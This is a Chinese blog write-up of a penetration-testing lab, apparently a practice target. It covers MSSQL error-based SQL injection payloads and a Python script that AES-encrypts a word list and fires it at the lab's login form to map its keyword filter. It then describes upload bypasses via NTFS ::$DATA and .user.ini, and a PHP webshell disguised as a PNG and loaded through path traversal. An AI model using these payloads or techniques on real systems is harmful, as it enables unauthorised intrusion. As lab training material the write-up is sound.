SQL注入

单引号报错,经典报错注入

123’/1/user/‘ 注出user

尝试直接xp_cmdshell命令执行

发现存在过滤,打算fuzz查看过滤哪些参数

AES 加解密

抓包发现参数加密

查看js,很基础的加解密

  1. 选择字符集:使用 UTF-8 编码。
  2. 设置密钥:设置密钥为 1234567890abcdef
  3. 设置初始化向量(IV):设置 IV 为 0987654321fedcba(反转字符串 abcdef1234567890)。
  4. 选择加密模式:使用 CBC 模式。
  5. 选择填充方式:使用 PKCS7 填充。
  6. 选择编码方式:使用 Base64 编码。

https://github.com/outlaws-bai/Galaxy bp爆破热加载加解密

过滤参数

我这里GPT直接拉了一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

# 设置密钥和初始化向量
key = '1234567890abcdef'.encode('utf-8')
iv = '0987654321fedcba'.encode('utf-8')

# 加密函数
def encrypt(data):
cipher = AES.new(key, AES.MODE_CBC, iv)
padded_data = pad(data.encode('utf-8'), AES.block_size)
encrypted_data = cipher.encrypt(padded_data)
return base64.b64encode(encrypted_data).decode('utf-8')

# 读取1.txt文件内容
with open('1.txt', 'r', encoding='utf-8') as file:
usernames = file.readlines()

# 代理设置
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}

# 遍历每个用户名
for username in usernames:
username = username.strip() # 去除换行符和空格
if not username: # 跳过空行
continue

# 加密用户名
encrypted_username = encrypt(username)

# 构造请求数据
data = {
'username': encrypted_username,
'password': encrypted_username
}

# 发送POST请求
try:
response = requests.post('http://113.45.189.205:8085/login.php', data=data, proxies=proxies)
print(f"用户名: {username}, 响应状态码: {response.status_code}")

# 检查响应内容
if '用户名包含非法字符' in response.text:
with open('过滤.txt', 'a', encoding='utf-8') as file:
file.write(username + '\n')
print(f"用户名 '{username}' 包含非法字符,已写入过滤.txt")
except Exception as e:
print(f"请求失败,用户名: {username}, 错误: {e}")

print("处理完成")

过滤参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
or
and
like
into
select
union
order
cursor
for
foreign
--
#
;
=
/*
*/

1‘/1/@@version/‘

1’/1/db_name()/‘ 拿到数据库 lab_db

123’/1/user/‘ 注出user dbo

获取列名

注了半天本菜狗实在不能直接注出username和password

琢磨了一个有点邪教的方式(结果他跟我说靶场写错了,不小心禁用了OR )

首先考虑这里是登录点,无非就是去数据库对应的表对比账户密码的值,这里用户名存在注入,说明直接将参数拼接在查询语句了。

模拟一下

select * from 用户表 where username =’用户名’’’ AND password =’密码’

那就直接拼接让username=username,那么只要密码正确即登录成功。

不存在的列名也会通过报错出现提示

如:’+use123+’ 这里可以猜测爆破用户名的列 我就不写过程了 用户名的列为username

获取密码

'+username+' 这里直接爆破密码,密码正确即登录成功,有几个密码就有几个用户名

获取用户名

这里拿到两个密码,逆推用户名

回到这里,两种方式,一种直接爆破用户名,一种报错注出用户名,毕竟是SQL注入靶场,用报错来。

select * from 用户表 where username =’用户名’ AND password =’密码’

'+username/1+' 这里与获取密码的原理一样,给了正确的密码,数据库去寻找对应密码的账户去除1,字符串不能运算,报错出用户名

test/Aa123456

密码为1的用户名使用'+username/1+'却直接登录成功了

说明密码为1的用户名是一个数值,想制造报错就修改类型

‘+(username+’qwer’)/1+’
用户名为1

文件上传

利用NTFS流::$DATA绕过

在Windows中如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:phpinfo.php::$DATAWindows会自动去掉末尾的::$DATA变成phpinfo.php

注:这是NTFS文件系统具有的特性,FAT32文件系统无法利用

http://113.45.189.205:8085/uploads/076w.php

上传.user.ini文件绕过

http://113.45.189.205:8085/uploads/index.php

文件包含

头像上传处先上传一个php马的png

http://113.45.189.205:8085/include.php?page=about.php

简单构造

http://113.45.189.205:8085/include.php?page=../uploads/076w.png

提权

上马有个360哦,自己想办法搞个免杀马吧,我就不提供了

读取mssql账号密码登录

查看版本

就用mssql bypass 360那篇文章就好了,我就直接展示了


本站总访问量

本站由 076w 使用 Stellar 1.33.1 主题创建。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。